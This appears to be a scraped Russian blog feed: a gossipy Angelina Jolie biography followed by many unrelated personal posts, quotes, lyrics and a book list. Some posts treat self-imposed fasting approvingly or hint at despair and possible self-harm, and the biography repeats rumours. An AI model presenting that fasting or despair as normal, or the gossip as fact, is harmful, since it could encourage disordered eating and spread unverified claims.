Карьера: В 18 лет она начинает сниматься в кино и ее детские привязанности уходят на второй план, хотя Джоли и продолжит в дальнейшем эпатировать публику. В 1993 году свет выходит картина «Киборг-2», в котором актриса получила заметную роль влюбленного киборга. После выхода фильма на экраны Анджелина Джоли заказала киллера, чтоб убить себя - так ей не понравилось то, что получилось в итоге. А в 1995 году она снялась в своем первом крупном проекте, фильме «Хакеры», партнером по которому стал Джонни Ли Миллер, в последствии ставший ее мужем. В 1997 году вышел на экраны фильм «Изображая Бога», где её партнёрами были Тимоти Хаттон и Дэвид Духовны. Джоли выбирает для себя самые разноплановые роли – жена прикованного болезнью к кровати губернатора Алабамы в фильме «Джордж Уоллес» и умершая от СПИДа наркоманка-манекенщица в ленте «Джиа», женщина-полицейский в фильме «Власть страха» и сварливая жена в комедии «Управляя полётами», оторва-угонщица в кинофильме «Угнать за 60 секунд» и буйная пациентка психиатрической клиники в кинодраме «Прерванная жизнь»… Как раз с последним фильмом к Анджелине Джоли пришло признание. За работу в нем она получила «Оскар» как лучшая актриса второго плана и «Золотой глобус» в этой же номинации (станет третьим за ее карьеру). Во время церемонии награждения премии «Оскар» она призналась в любви к своему брату. Сразу же пошли разговоры об их кровосмесительной связи. Но они публично опровергнут это, правда, только через год после церемонии. Теперь на актрису посыпалась целая череда приглашений на съёмки в очень удачные фильмы. В 2001 году Джоли выбрали на главную роль для съемок первого фильма «Лара Крофт – расхитительница гробниц». Эта картина собрала в мировом прокате 270 миллионов долларов. К сожалению, последующие картины про отважную расхитительницу гробниц не имели такого же успеха. Наибольшую популярность Анжелина Джоли завоевала после съёмок в фильме «Мистер и миссис Смит», который вышел на экраны в 2005 году. Эта лента собрала в мировом прокате более 480 миллионов долларов.

— В каждой женщине живет тигрица.

Личная жизнь: Анжелина Джоли была дважды замужем, но оба этих брака закончились разводом. В 20-летнем возрасте актриса вышла замуж за партнёра по фильму «Хакеры» актёра из Британии Джонни Ли Миллера. Они поженились в 1996 году, но быстро разбежались: он стал жить в Англии, а Джоли в США. Развод был оформлен только в 1999 году. До сих пор Анджелина Джоли и Миллер продолжают хорошо общаться. Свой брак они называют ошибкой молодости. Однако, в то время, как Анджелина Джоли еще будет вместе со своим мужем, в прессе появилась информация о ее отношениях с другим актером, партнером по фильму 1996 года «Изображая Бога» Тимоти Хаттоном. К этому же периоду относится ее сексуальная связь с актрисой Дженни Шимицу, бывшей ее партнершей по кинокартине «Ложный огонь». Вторым мужем Аджелины Джоли стал актер Билли Боб Торнтон. Они поженятся в 2000 году. Но брак, как и первый, не окажется счастливым. Они проживут вместе около трех лет, а потом разведутся. После этого обоим придется сводить татуировки с именем партнера, которые они сделали перед свадьбой. А в 2004 году Анджелина Джоли снялась в фильме «Мистер и Миссис Смит». На съемочной площадке между ней и партнером по фильму Бредом Питтом вспыхнет роман, который осложнит то, что актер в это время был еще женат на актрисе Дженифер Энистон.

История любви Анджелины Джоли и Брэда Питт: Началом отсчета отношений можно считать фильм «Мистер и миссис Смит», хотя пара долгое время отрицала любые слухи об их близости, но все таблоиды будут пестреть их общими фотографиями. Но как в последствии скажет сама Джоли: «Не у всех детей есть возможность посмотреть кино, в котором мама и папа влюбляются друг в друга».В 2005 году Брэд Питт развелся со своей женой Дженифер Энистон, а в качестве причины развода они указали «неразрешимые противоречия». После этого пару Джоли и Питта стали всё чаще наблюдать вместе, общественность даже придумала им одно имя на двоих - «Бранджелина». Пара никак не комментировала свои отношения, но это мало было похоже на дружбу.В январе 2006 года Анджелина Джоли в интервью журналу «People» рассказала, что ждёт ребёнка от Бреда Питта. Весной актёр усыновил детей Анджелины Мэддокса и Захару, и они получили двойную фамилию Джоли-Питт. 27 мая 2006 года у актёров родилась дочка Шайло – их первый биологический ребёнок. Фотографии девочки были проданы за 10 миллионов долларов все тому же журналу «People».В 2007 году звёздная пара усыновила вьетнамского мальчика по имени Пакс Тьен. А в начале 2008 года актриса выступила с сенсационным сообщением – она беременна и ждет ребенка от Бреда, на этот раз оказалось, что двойню. 12 июля в Ницце у них родились мальчик Нокс и девочка Вивьен. Фотографии звездных детей были проданы за 14 миллионов долларов и побили мировые рекорды. Все деньги были перечислены на счёт благотворительного фонда, созданного звёздной парой.За все это время вокруг актеров постоянно ходят слухи о скорой женитьбе и таком же скоротечном разводе. Но сама пара их не подтверждает. В январе 2012 года Бред Питт заявил, что они с Анджелиной Джоли «хотели бы пожениться». Он отметил, что их дети больше хотят этой свадьбы, нежели родители, и постоянно спрашивают о том, когда же и у них будет красивая свадьба как по телевизору. Точная дата ещё неизвестна, но весь мир уже в предвкушении. Сейчас в их семье шестеро детей, трое из них приемные. Все дети носят фамилии своих родителей.

Мне нужен сильный мужчина, безукоризненно сильный во всех смыслах, и чтобы у него была единственная слабость- я.

Анджелина Джоли сейчас: В мае 2013 года Анджелина Джоли сделала сенсационное признание - из-за высокого риска заболеть раком она решилась удалить себе обе груди. В 2007 году у актрисы скончалась мать от рака яичников – это послужило поводом для обследования самой Джоли. Первую операцию по удалению груди Анджелина перенесла еще в феврале, но четыре месяца держала это событие в тайне.Но проблемы со здоровьем не мешают актрисе вести прежнюю жизнь. Совсем недавно она дебютировала в качестве режиссёра с кинофильмом «В краю крови и мёда». Она также является послом доброй воли ООН и активно занимается благотворительностью. В 2013 году Анджелина Джоли возглавила очередной рейтинг Forbes «Самые высокооплачиваемые актрисы Голливуда». Журнал подсчитал, что с июня 2012-го по июнь 2013-го года актриса заработала 33 миллиона долларов.

настоящие силы появляются когда отделяешь от себя, то что казалось, чем то важным и интересным, а на самом деле оказалось ничем.

есть вещи, которые действительно были важны и интересны и в один миг, казалось бы не заметив, надо с ними простится. но к этому долго шло и просто ты боялся признаться в этом.
есть вещи, которые изначально были не твои и ты, запутавшись идёшь с ними по жизни, глубоко заблуждаясь, тащишь, надрываясь, их за собой.

у меня никогда не бывает такого прилива сил, как в такие моменты. когда отпусукаешь. отрываешь. прогоняешь. и возвращаешься на старт. старт: совсем не значится нулевым киломентром. уровень выше.

и как никогда много сил и идей, которые надо реализовать. надо перебороть себя, лень, общественное мнение. надо перебороть это и взлетать вверх.

Кто сегодня ехал триста км 11 часов? Ну вы поняли, что я. Зато я теперь узнала где в Большой Мурте автосервис, стоматология, номер местного такси и многое другое.. К счастью, сейчас я в своей кровати в общежитии, пока что почти без вещей, но это временно. Ещё к нам подселили новенькую в комнату, пока что не могу понять что за фрукт, потому что за вечер кроме "привет" ничего не было, время покажет. Кстати, попробуйте зелёный чай тесс с лаймом!

привет я не смотрю ганнибала со второго сезона пока

и я знаю, что до уилла очень медленно доходит и до него не особо доперало, что ганнибал давно трахает его в своем сне (простите) НО что там случилось блядь?? они оба откинулись чтоли
с кем остались собачки уилла в конце концов?!
видела гифки но нихуя не пойму

простите за мой французский ПРОСТО Я ХОЧУ ЗНАТЬ

Первые три дня голодовки всегда самые тяжелые.
У меня снова накопилась гора шоколадок, которые я перекладываю с места на место уже час.
Утешает лишь то, что завтра уже будет легче.

на свой счет не принимайте, но, как я заметила, очень многие леди ребложат себе цитаты о том, как бессмыслен и обычен секс. что такое этот секс? развлекуха, физическое упражнение. секс - это просто: когда хочешь, с кем хочешь, как хочешь. а вот любооовь, это да.. это уже сложно, это пиздец, баба должна быть брутальной и качественной (что вкладывается в это понятие, я не знаю).
так вот. как правило, подобные реблоги делают девушки, которые предпочитают ебаться направо, налево и по диагонали. вероятность того, что на каждый способ приходится по одному днк, увеличивается с шансами того, где это происходит и в каком состоянии.
а есть просто блядские натуры.
иногда я думаю, что подобные цитаты - нечто вроде отдушины для девушек, которые вроде бы и не в восторге от своих взглядов на это (а тут вот, какая-то умная писательница говорит, что это НОРМА, понимаете????), а вроде бы и норм. удобно.
и вообще я заебалась от новостной ленты вьюи, одно говно блять про подобную хуйню. армия тоже не фонтан, но такого обилия дерьма я не видела давно.

желание совсем ничего не делать. учеба еще не началась, а я уже устала. от любой музыки пухнут уши да вообще от любого звука. делаю большую работу, но хватает меня на час-два рисования (такими темпами закончу ее через год). скука. апатия.

Вот и началось, сегодня был тяжелый день. Последующий месяц обещает держать в полном напряжении. Я уже подавлен, нет ни злости, ни отчаяния, просто подаленность. Апатия ко всему. Купил себе пару препаратов, чтоб держать себя в руках, если будет уже в край хуево. Мне тяжело представить, как она со совим парнем будет валятся в кровате. Как он будет ее целовать, распускать руки, это самое тяжелое и это необходимо пережить. Я наконец купил ту вещь, что хотел отдать еще давно, очень давно. Здоровье дает сбой по всем фронтам… Итог сегодняшнего дня: полная безпросветная жопа, которая будет становится только больше. Если это меня не сломает, то тогда я смогу спокойно перенести самый страшный для меня итог.

Брат сидит за компьютером и говорит, что он Бурда. Мама спрашивает: "Артем, это кто?" Он: "женщина". Мама: "какая женщина?", он: "паучиха". Мама в шоке :D Он уже рехнулся с этой дотой (ну а сестренка моя вообще, конечно, кадр. Сфоталась в тот день, когда крестились, на фоне церкви и подписала: "на меня сошла Божья Благодать. я вышла святой". Бляяяять, у меня нет слов. Мама говорит, напиши ей, чтобы удалила это, не позорилась.. А я не буду, пусть все узнают, какая она тупица. Хотя пока что ей никто ни слова про это не сказал

а еще, днем мы бесились, и он случайно локтем ударил меня в бровь. ну, такое, типичный леша просто

как он извинялся и бегал, чтоб я что-то приложила

бля, это было очень больно :D

ЭТО ЖЕ ЖЕСТЬ, ГОСПОДИ, ЛЕДИ, ЖРИТЕ, ПОЖАЛУЙСТА, ЖРИТЕ И ПОМЕНЬШЕ СИДИТЕ НА ЗАДНИЦЕ, ВСЕ БУДЕТ ХОРОШО

работает со мной одна девушка, у нее ПОТРЯСАЮЩАЯ фигура, просто нет слов, женственная - с ума сойдешь в прямом смысле слова (мне неловко говорить ей о том, что я высоко оцениваю ее формы), но рабочая одежда у нее такая, что подчеркивает лишь недостатки (а он один, вообще-то - слегка выпирающий живот). так вот другая девушка уверена в том, что на путь истинный (похудения путь) можно наставить только шутливыми, но язвительными оскорблениями, причем постоянными. наставляет вообще всех, ко мне пока не приебалась, но это потому что я дохлая как пиздец. ИТАК. обсирает почём халва, господа. а та верит, соглашается, смущается и кивает, Я ЖИРНАЯ, говорит.
вот когда я долго сижу дома, у меня зад (без того плоский) расплющивается, с ляжками происходит та же история, я все как-то оседаю вниз и выгляжу как какой-то мешочек. дохлый, но все равно мешочек, а вот она - ммм… господи. ну просто потрясающая мадам. ох.
как можно стремиться убрать все это великолепие ради безбожно худых ног.. не знаю. не мне кого-то заставлять, но вообще одно из моих любимых занятий - любоваться действительно красивыми девушками, которые просто идут мимо меня. это приятное зрелище. безусловно, анорексию можно одеть так, что она будет выглядеть дерзко-сексуально\мило-трогательно и так далее, но пышность все равно лучше! я не про складки, которые устраи ЗАЕБАЛАСЬ ПЕЧАТАТЬ. ЛЮБЛЮ КРАСИВЫЕ МЯГКИЕ ЖЕНСКИЕ ТЕЛА. БЕСЯТ ПАЛКИ ВМЕСТО ЧЕЛОВЕЧЕСКИХ КОНЕЧНОСТЕЙ. ЗАДНИЦЫ ЛЮБЛЮ. НОГИ. отписывайтесь.

—счастливцы

Oh Wonder – The Rain

Если ты вдруг сейчас подумаешь, что у меня сейчас ночь, холодно, а я сижу на полу в обнимку с обогревателем и смотрю в свое окно на чужие окна, то это окажется абсолютной правдой. Только с какого перепугу тебе нужно об этом думать? Давай лучше подумаем о чем-нибудь другом.

Тебе иногда кажется, что все твои самые маленькие мечты и желания, которые ты всегда откладываешь на потом, ибо еще все успеется, можно по сути исполнить в один день? У меня вот сейчас случилось. Хочешь расскажу? Я спрашиваю чисто из вежливости, потому что расскажу все равно. Вот и связывайся после этого со мной.

Я бы встала очень очень рано, раньше рассвета, который я бы встретила на практически безлюдной нашей пешеходной улице. И мне было бы почти так же холодно как сейчас, потому что просыпаться самим и смотреть как просыпается кто-то другой всегда немного холодно, но приятно. Чтобы согреться, я бы пошла искать какое-нибудь маленькое и незаметное кафе, где можно съесть самый настоящий типичный завтрак, а не огромный кусок торта, как мы с тобой иногда любим. Набив пузо омлетом или овсянкой с апельсиновым соком, я бы занялась своим любимым делом. Да, поглощением чая. И пока чайничек полный, я бы в своем блокноте делала набросок тебя, с моей любимой фотографии, той, где ты так весело улыбаешься. Просто я люблю когда ты улыбаешься, и когда кто-нибудь другой улыбается, это очень замечательно.

А дальше я пока не придумала. Можешь думать что хочешь, но этой ночью мне хочется только этого, да и такой детально распланированный день не принесет удовольствия. Поэтому сейчас я отдаю слово тебе, расскажи мне о своих маленьких желаниях. Что бы тебе так хотелось сделать, что-то очень простое или несерьезное, но все как-то не получается. А мы с обогревателем и окнами будем сидеть и слушать тебя. Вот так и связывайся со мной.

Художница - любимая Елена Брыксенкова

у меня внутри сегодня очень холодно

До коих пор ты будешь швыряться мной направо и налево? Я не вещь.

Я люблю Гая Ричи за схожий взгляд на мужчин.
Ведь после таких фильмов, как "Агенты А.Н.К.Л.", образ человека, которого бы хотелось видеть рядом с собой, складывается вполне определенно.

Настоящий мужчина будет рядом с настоящей женщиной.
НЕ ЗАБЫВАТЬ. СТРЕМИТЬСЯ.

Он мои любимые грабли.

Как можно после долгого отсутствия человека в твоей жизни снова чувствовать к нему что-то? Уже забыла, не думала, а он снова ра-аз и появился. Это что значит, где-то глубоко чувства и не проходили? Или я снова на те же грабли наступаю?

И самое главное, что ему на этот раз нужно?

Блять. перечитала посты за последние несколько дней.Вот это меня кидает, как маленькую лодку в шторм.

Не, нахер-нахер.

Больше похуизма, детка.

а у меня тут +7 человек

break , ksustailme , kristinaby , shikarnomne13 , satanlovesvi , trustbutverify , annavoron

Спасибо <3

у каждого наверняка есть такой совет, который точно сработает, не важно чего он касается. так вот, у меня тоже есть один, я могу точно рассказать как быть не в состоянии послать того, кто уже давно послал тебя.

Люди продолжали спрашивать, вернулся ли я? И у меня не было ответа. Но теперь, да, я думаю, я вернулся.

John Wick. 2014

Как говорит один хороший человек в мое пиздабольной жизни: "Где были наши мозги, когда мы начали общаться с этими людьми?"

Вот это сегодня была обида обидная!

Я 2 года искала эти идеальные ботильоны. И сегодня я нашла аж 3 пары, но ни одной пары не было моего размера!!ААААА! Мой 37 размер. За что?

Я бродила по квартире в поисках себя, надеясь натолкнуться хоть на одну нормальную мысль, а потом поняла, что должно быть такое время, когда все мысли обязаны выключиться. Когда нужно настолько их успокоить, чтобы ни одна не пыталась прорваться наружу и снова меня обескуражить.

сегодняшний день просто чудесен! хоть я и надеялась, что он будет совершенно другим. но и так было неплохо. утром мы с папой и Настей поехали на электричке в Калачинск, что просто прекрасно! ибо электрички - это прелесть, если только не считать то, что за полтора часа ты там отсиживаешь себе всё, что только возможно. зато прекрасная возможность почитать книгу или заняться ещё какими-нибудь делами.
затем мы полдня провели у родственников и поехали домой тем же путём. только в этот раз я совершенно не читала книгу, а просто сидела и слушала музыку. время всё равно пролетело практически незаметно. только опять же я всё себе отсидела, что под конец уже просто встала.

когда я приехала домой, то узнала, что мой самый лучший друг приехал на день в город! это была отличная возможность встретиться с ним и со своими одноклассниками. мы не виделись с ними с самого выпускного! жесть какая-то. как ни странно, но они по мне тоже скучали. ещё и классную нашу встретили. а вообще, практически всю московку собрали. зато столько объятий я уже давно не получала.

говорила уже, что отказалась от любимых физиков, но Вова вчера написал. раздражает то, что он всегда пишет только от скуки. но я рада, что он всё ещё помнит обо мне. хотя моя любовь к нему и приуменьшилась, но я всё равно была рада с ним немного пообщаться. хочу уже встретить самого главного физика своей жизни. но я совершенно не знаю, как это получится.

Когда мне было больно и я сказала об этом, ты выбрал вечер с друзьями, а не приехал поддержать и успокоить меня. Пожалуй это о многом говорит. Грустно

Я так счастлива, что есть человек, которому можно позвонить в любое время, в любом состоянии, от диких слез, до безумной радости, попросить выйти погулять со мной, и он выйдет! В любое время, в любое место! Всегда! Я счастлива, и желаю всем такого человека! ❤️

В моей жизни есть очень дорогой и близкий мне человек, я все время провежу с ней. Это моя подруга, да вы так и поняли. Не об этом. Я не была так счастлива с кем-то, как с ней, я не могу описать, как я счастлива.Все моменты проведенные с ней, это самые лучшие моменты жизни, даже ссоры меня делают счастливой. Я очень ценю свою подругу. И не кому не дам ее в обиду, не отпущу ее при любом раскладе! Она все для меня. Спасибо за понимание.

- Я гений кулинарии!
- Ты же просто сварил гречку…
- Я. Гений. Кулинарии.

Я еще не поняла, скучаю ли я по дому, но каждый раз, когда иду к холодильнику, мне кажется, что сейчас ко мне подбежит моя вечно голодная собака и станет попрошайничать. А она не бежит.

(via nancychipmunk )

За его богатый, добрый, очень большой "внутренний мир"

до моей Ди в гости теперь ехать почти полтора часа с пересадками. забралась она с мужем почти на край города. сегодня я все таки выбралась и провела с ними около 7-8ми часов. а в эту минуту почувствовала жуткую усталость… фишка в том, что усталость не физическая, а кажется моральная, душевная. словно все накопленные силы отдала на то, чтобы сегодня "сидеть и улыбаться". но я так не хочу ее терять…

Приветсвую вас, я впервые здесь. Буду рада если найду здесь много интересного.

Охуенные и пиздатые подруги у меня однако. Не звонить, не писать уже 3 месяца, собираются без меня. вот и вчера собирались, фотки в истаграм выложили. Блять, как же в такие моменты хочется все в лицо высказать, что епт идиотины вы. Как же мне обидно, но я не плачу, как обычно, я просто злюсь. Теперь я хочу добиться в жизни всего, чего только смогу, что бы глядя на меня они локти кусали. Знаю, что это плохая мотивация, но я очень хочу обставить этих тупых пёзд. А главная причина, по которой меня вот так вот кинули, мне непонятна. Да, я в мае отказалась идти в ними на шашлыки, во второй раз уезжала в деревню. И что теперь? Я должна ходить только ради того, что бы меня не забыли. то есть должна сама о себе напоминать, а им похуй. Так что-ли? Ушли на салют на 9 мая, снова меня не позвали, спросила в чем причина у одной, ответила, что тебя зовешь, а ты не идешь. Ну так и ты не всегда идешь, когда я звала. И вот именно после этого, все коллективно заглохли. Я считаю, что не в чем не виновата, если бы хотели общаться, написали или позвонили. А здесь хрень какая-та невъебенная. Или я должна была все это проглотить и дальше как ни в чем не бывало продолжать общаться. Я совсем ничего не понимаю. А главное с неделю назад думала, написать, но не стала. Сейчас думаю, правильно сделала. Нахуй пошли такие друзья, нахуй пошло такое отношение, когда ты должен напоминать о себе, а о тебе никто не вспомнит. Пиздец…

Вы когда-нибудь находили строчку в книге или песне, которая находила отклик в ваших костях и вы просто хотели написать ее на стенах и сделать тату с ней на каждом дюйме вашего тела?

…

;

Лучший тип людей — это люди, которые приходят в вашу жизнь и заставляют вас видеть солнце там, где вы раньше видели облака. Люди, которые верят в вас так сильно, что вы тоже начинаете верить в себя. Люди, которые любят вас просто за то, что вы есть.

Следующая цифра на очереди была 6.

6. Как можно покорить ваше сердце
Блин, кто это вообще придумывает??? Так трудно на всё это отвечать >.<
На самом деле, я очень влюбчива и мне кажется, меня довольно легко покорить. И иногда кажется, если ты красивый и понравился мне внешне, то всё, я твоя :D Хотя один не блистал внешностью, но он таскал меня на руках, приезжал посреди ночи, только потому, что соскучился. Дарил цветы, хотя я просила не дарить. Везде катал меня, гулял со мной. Эх, были времена. Тот бывший со свадьбы был очень красивым. И, наверное, он покорил меня своей самоуверенностью. Я так долго пыталась его оттолкнуть, но он настолько был уверен, что мы с ним будем встречаться, что я сдалась под этим напором. На самом деле, наговори мне кучу красивых слов, и я твоя :D Не зря говорят, что девушки любят ушами. Очень много раз в этом убеждалась.
Не знаю, чем покорил меня этот идиот Рома. Но он очень к себе располагает. Вообще всех людей. Он очень харизматичный. Очень порядочный (мне это тоже в нём понравилось). Помню, он пел мне песни ночью в подъезде. Песни о любви. Мне так это нравилось. Он очень интересно говорит. Он умный, очень умный. И когда его слушаешь, ообенно, если он что-то объясняет, так завораживает. Я даже иногда специально включаю дурочку и прошу его объяснить мне элементарные вещи, потому что мне так нравится, когда он что-то объясняет. Ну просто этот человек покорил меня всем и растопил моё сердце (хотя сам его иногда обратно и замораживает >.< ;)

Я все прощу кому-то, тому, кто сумеет вырвать, ржавые гвозди из сердца и залечить раны

и пусть этой ночью мы сгорим в аду, просто там в раю нас не поймут

Мне сказали, что заввшаю свою афигенность, и еще один человек сказал, что у меня завышена самооценка. Все до единого мои знакомые говорят, что при первой встрече или взгляде на меня, я кажусь слишком высокомерной и пафосной. А когда узнают меня ближе понимают, что это не так, а те кто узнает меня еще ближе, говорит, чтт я мечта всех парней: O А сказали мне о завышеной самооценке, потому что я сказала, что неприемлю телесных прикосновений к себе чужого человека, и что на первой встречи веду себя сдержано, так как не знаю же я человека. И когда он начал намекать на секс, и вообще все темы сволились к пошлости, я от этого отходила и сказала, что я за секс только в отношениях, в любви, а он как парень меня не зацепил. и блюдью назвать не может меня, но и ему не дам, а унизить нужно же. В итоге: я скучная, не интересная, без изюминки, разве что красивая девочка, с завышеной самооценкой и к тому же у него девушка есть, а я ему даже как друг не подхожу. И после этого мне будут говорить, что в 24 года они полны ума и могут называться мужчинами? Фу.

Когда чего-нибудь сильно захочешь, вся Вселенная будет способствовать тому, чтобы желание твое сбылось.
Пауло Коэльо. Алхимик

Мечты сбываются. И это правда так, несмотря на все грустные ответы в стиле, что это все не правда. Ведь у каждого сбывалась мечта. Пускай одна, пускай незначительная, но сбывалась, и этот момент действительно волнительный и приятный. Сначала была маленькая девочка, которая мечтала разве что о красивых платьицах, игрушках и поездках в соседний город в парк аттракционов; будучи подростком, она стала мечтать о ноутбуке, планшете, чтобы все по последней моде, чтобы было больше вещей, книг, поездок (и уже дальше соседнего города). Ну а после, когда и эта девочка, и этот подросток повзрослели, мечты не то чтобы изменились кардинально, но признаться честно, стали дороже. В нашем мире, безусловно есть масса эмоций, которые не покупаются, но чтобы получить эти самые эмоции, порой приходиться тратиться. Так вот к чему это я, все начинается с мелочей - тебе хочется, ты стараешься, и твоя мечта сбывается. Все просто, но на это могут уходить недели, месяцы, года… И мне до сих пор не верится, что через 4 дня еще одна моя мечта сбудется. Всю жизнь хотеть поехать за границу, но считать это достаточно сложным и недосягаемым, но опять же стараться, стараться и… мечтать! И Вселенная действительно постарается сделать все, чтобы твоя мечта сбылась. Это то, ради чего стоит жить. Это заставляет людей улыбаться. И меня в том числе ;)

А я устала… Немногоне высыпаюсь, куча дел, кучаинфы, которую нужно выучить. Уроки вождения только по будням с 8:00 до 17:00, по записи, а у меня работа с 10-19, и от автошк добираться час с лишним до работы. Как выкрутиться не знаю, то ли 20 то ли 40 раз опоздать на работу нельзя, но и вождение здать нужно. Учу польский, голова кругом идет, спать хочу уже с 4 часов. Хочу еще в Польский дом пойти, это мне реально нужно, но незнаю когда, не знаю их рабочие часы и боюсь что после работы ониуже закрыты будут. Хотя поеду завтра или во вторник узнаю. Хочу на каблуках поехать на работу, не представляю как этт будет, в маршрутке, потом еще метро, нохочу. Хоть дороги в метро ровные :D Мой AW сказал, что "женщины глупеют на глазах", огорчил однако, а потом оказалось, что он просто не верит людям, уж часто на этом обжигался, и не верит, что бывают еще хорошие девочки. Говорит, что я странная, хотя сам а один день "ты нравишься", в другой "нельзятыстраннаяслишкоидеальная". Такое в обще м: \

спустя некоторое время мы вернулись

Последнии выходные лета провела с ним. За окном мелькали чудесные пейзажи - по календарю осень через два дня, а мы вырвались в деревню. Мы катались на огромных качелях и целовались, пока солнце, уходящего лета грело нас. Играли с собакой и собирали сливы, чтобы приготовить компот. И много смеялись.Мы поймали тот самый переломный момент в погоде, когда уже и не лето, но еще и не осень. Я обожаю такую погоду. Одни пейзажи чего стоят.Яркие до жути воспоминания. Мое лето плавно переходит в осень и я этого перехода не чувствую. Целую в щеку, иногда вывожу, но я все больше чувствую внутри себя как нежность переполняет меня по отношению к тебе и как мне не хочется тебя отпускать, когда ты уезжаешь.

Неважно — скольку у тебя друзей. Важно — сколько из них помогут тебе в трудную минуту и сколько вспомнят о тебе когда им хорошо.

Как хочется порядочных мужчин,
И знать, что это редкость, так досадно,
И среди тех, кто дожил до седин,
И средь юнцов безусых и нескладных.

Как хочется надёжного плеча,
Обдуманного, сдержанного слова,
Не обещаний, данных сгоряча,
Не клятв, порой пустых и бестолковых.

Как не хватает сильных рук мужских,
Их крепких и заботливых объятий,
Порывов чистых, помыслов простых,
И мелочей, подаренных не к дате,

Цветов, преподнесённых без причин,
Признаний — не избитых и шаблонных.
Как настоящих хочется мужчин,
А не мужчинок липких, беспардонных.

Не глянцево-лощёных жеребцов,
Не грубых, неотёсанных мужланов,
Не вечно инфантильных молодцов,
Не одержимых властностью тиранов.

Как хочется красивых, умных лиц,
Улыбок тёплых, взглядов благородных,
В смущении опущенных ресниц,
Ухаживаний долгих, старомодных.

И среди тех, кто дожил до морщин,
И в молодом цветущем поколеньи
Мы так и ищем рыцарей-мужчин,
Но редко их находим, к сожаленью…

Автор неизвестен.

Вернулась на вьюви, новый жизненный компромат будем с Лейлой собирать) )

Только что удалила фотографии с прошлого года. Это так странно что человек который когда то заставлял тебя визжать от радости, теперь же не вызывает никаких эмоций. Нам было хорошо, и мы были счастливы. Но может мы слишком рано встретились. Или может это была совсем не судьба. Ну что ж, прощай. Нам было хорошо, но теперь мне лучше.

Единственная песня, которая долго не нравилась с его последнего альбома. Видимо, сейчас она просто как никак кстати.

Noize MC - Старые Шрамы

Лягу дымящимися ранами на теплый снег прощальных слов,
Прижавшись пятнами багряными к белизне без полутонов,
Согрею кровью остывающий холодный свинец твоих метких пуль.
Чего ты ждешь, давай стреляй еще, наконец прерви мой пульс.

Сквозному в голову не стать старым шрамом.
Сдохну как без масла выдранный клещ.
Но я об этом не жалею ни грамма,
Реинкарнация великая вещь.

В следующей жизни снова встретимся, хоть убей, сомнений ноль,
И заиграет в новом свете все. Смена ролей, вся та же боль.
Только на спусковой крючок нажать придется мне на этот раз.
Кричи как любишь горячо, ложась на теплый снег прощальных фраз.

Это был тяжелый день, ссоры дома, эмоциональное состояние напределе. Теперь еще и Юля вернулась и будет каждый день проводить с ним. Я просто не могу смириться, у меня едет крыша от всего этого. Я боюсь потерять голову, я даже не знаю как себя вести толком, чтобы не обозлиться на все и на всех или просто не закрыться нахрен. Но сдаваться нельзя, от этого лучше не станет никому, уж лучше проиграть с боем, чем отступить

Где-то еще в мае дала деньги в долг своей подруге, но она до сих пор мне их так и не вернула.Сумма то не большая 500р и для меня в принципе это не деньги, но это бля и бесит, что можно уже и вернуть.Я понимаю у нее в начале лета не было работы, но ща она работает и ходит там по киношкам и прочее.И отношение к ней у меня после этого как-то поменялось.Лично если бы я взяла, то меня бы это как-то тяготило, и я по скорей бы его вернула, а если бы не получалось то как-то хотя бы объяснилась с человеком.Вывод никогда и никому не давать в долг.

Я последние три года мечтала об очень длинных волосах (еще сегодня они были ниже груди) ! Но есть у меня такая особенность… Когда случается то, что срочно требует перемен - я сразу берусь за волосы и ни капли не жалею. Может еще отрежу см)) пока не решила.
Сегодня всплыла еще одна интересная особенность! Его видели… с девушкой. По описанию я просто понятия не имею кто это. Да и знала я только его университетских знакомых, другие девушки в его окружении были моими подругами! Поэтому интересно кто это и интересно когда она появилась. Может это и является причиной, что все между нами закончилось так резко? Я склоняюсь, что да… Что еще омерзительнее.
Но мне сегодня так значительно легче. Вчера все шмотки его собрала, и встретилась с нашим общим другом, чтобы передать их. Он сказал, что тот интересуется как я поживаю и не режу ли я вены :D я так разозлилась! Человек, который был три года для меня самым близким, должен знать, что я, без сомнения, переживаю и грущу, но я сильный человек, я буду жить дальше и жить лучше.К тому же он не пуп земли, чтобы без него моя жизнь кончилась. Поэтому сегодня из-за злости мне в сто раз легче, ведь главная причина моей грусти это то, что я очень скучала, ведь мне было с ним хорошо и я готова была идти дальше, но мой выбор никто не учел, все сделал по-своему, как ОН захотел.Плюсы есть всегда!
Даже сейчас я улыбаюсь, потому что за эти дни произошло столько хорошего!
Я поняла, что у меня есть еще один человек, которого можно смело назвать "другом". Это тот самый, которому я передавала вещи, по идее его друг, но он одновременно и мой одноклассник, да и мы всегда были близки, но как говорится: друг познается не в радости.
Из-за того, что дома находиться больнее всего, я много гуляю, провожу время с друзьями, общаюсь.
Очень хочется хорошо выглядеть! Каждой девочке этого и так хочется, но сейчас особенно - новой одежды, быть красивой, женственной, аккуратной.
Короче, позитив во мне навсегда.

Лето подходит к концу, и вот, еще минута и все – осень, ознаменование нового учебного года, желтых листьев на деревьях и горячего чая с лимоном по вечерам. Этим летом я прочитала не так много книг, как планировала изначально, НО, все они стоят того, чтобы их прочитали. Итак, пост о книгах, книгах лета 2015.

1. «Бегущая за луной», Сара Эдисон Аллен

Я начала читать ее в самом начале лета, сессия только приближалась, волнения и стресс не проходили, и мне хотелось прочитать что-нибудь светлое, ненавязчивое и романтичное. Что-нибудь, что могло бы отвлечь меня от университетской суеты. Я бы сказала, что «Бегущая за луной» - это такая подростковая, временами детская история, легкая как ветер, с магией и светлячками.

«Не жди, пока мир изменится. Меняй его сама»

2. «Длинноногий дядюшка», Джин Уэбстер

Смешная до колик, но в то же время трогательная история Джеруши Эббот, заставляющая верить в чудеса и возвращающая в детство…

«Я открыла секрет истинного счастья, и оно — в том, чтобы жить сейчас. Не жалеть о прошлом или мечтать о будущем, а брать как можно больше от этой, вот этой минуты»

3. «Поллианна», Элинор Портер

«Поллианна вырастает»

Первая книга понравилась больше второй, скажем, если бы я могла вернуться в прошлое, то не стала бы вообще браться за вторую. Она немного портит эту магию, которую наколдовала Элинор Портер в первой части. Книга очень легкая, светлая, временами наивная и приторно милая. Но, думаю, каждый, кто прочитает ее, сможет найти в ней что-то и для себя.

«Какая разница, тепло на улице или холодно, когда в твоей комнате целый день живёт маленькая радуга?»

4. «Ночь нежна», Фрэнсис Скотт Фицджеральд

Грустная книга, после которой остается легкий неприятный осадок. О ней можно долго размышлять, наслаждаться потрясающим слогом автора и постоянно находить в главном герое Дике Дайвере немного себя..

«Никогда ведь не можешь сказать с уверенностью, какое место занимаешь в чужой жизни» «- Я теперь плохо выношу разговоры, которые мне ничего не дают»

5. «Завтра была война», Борис Васильев

Книга, которую должны прочитать все.

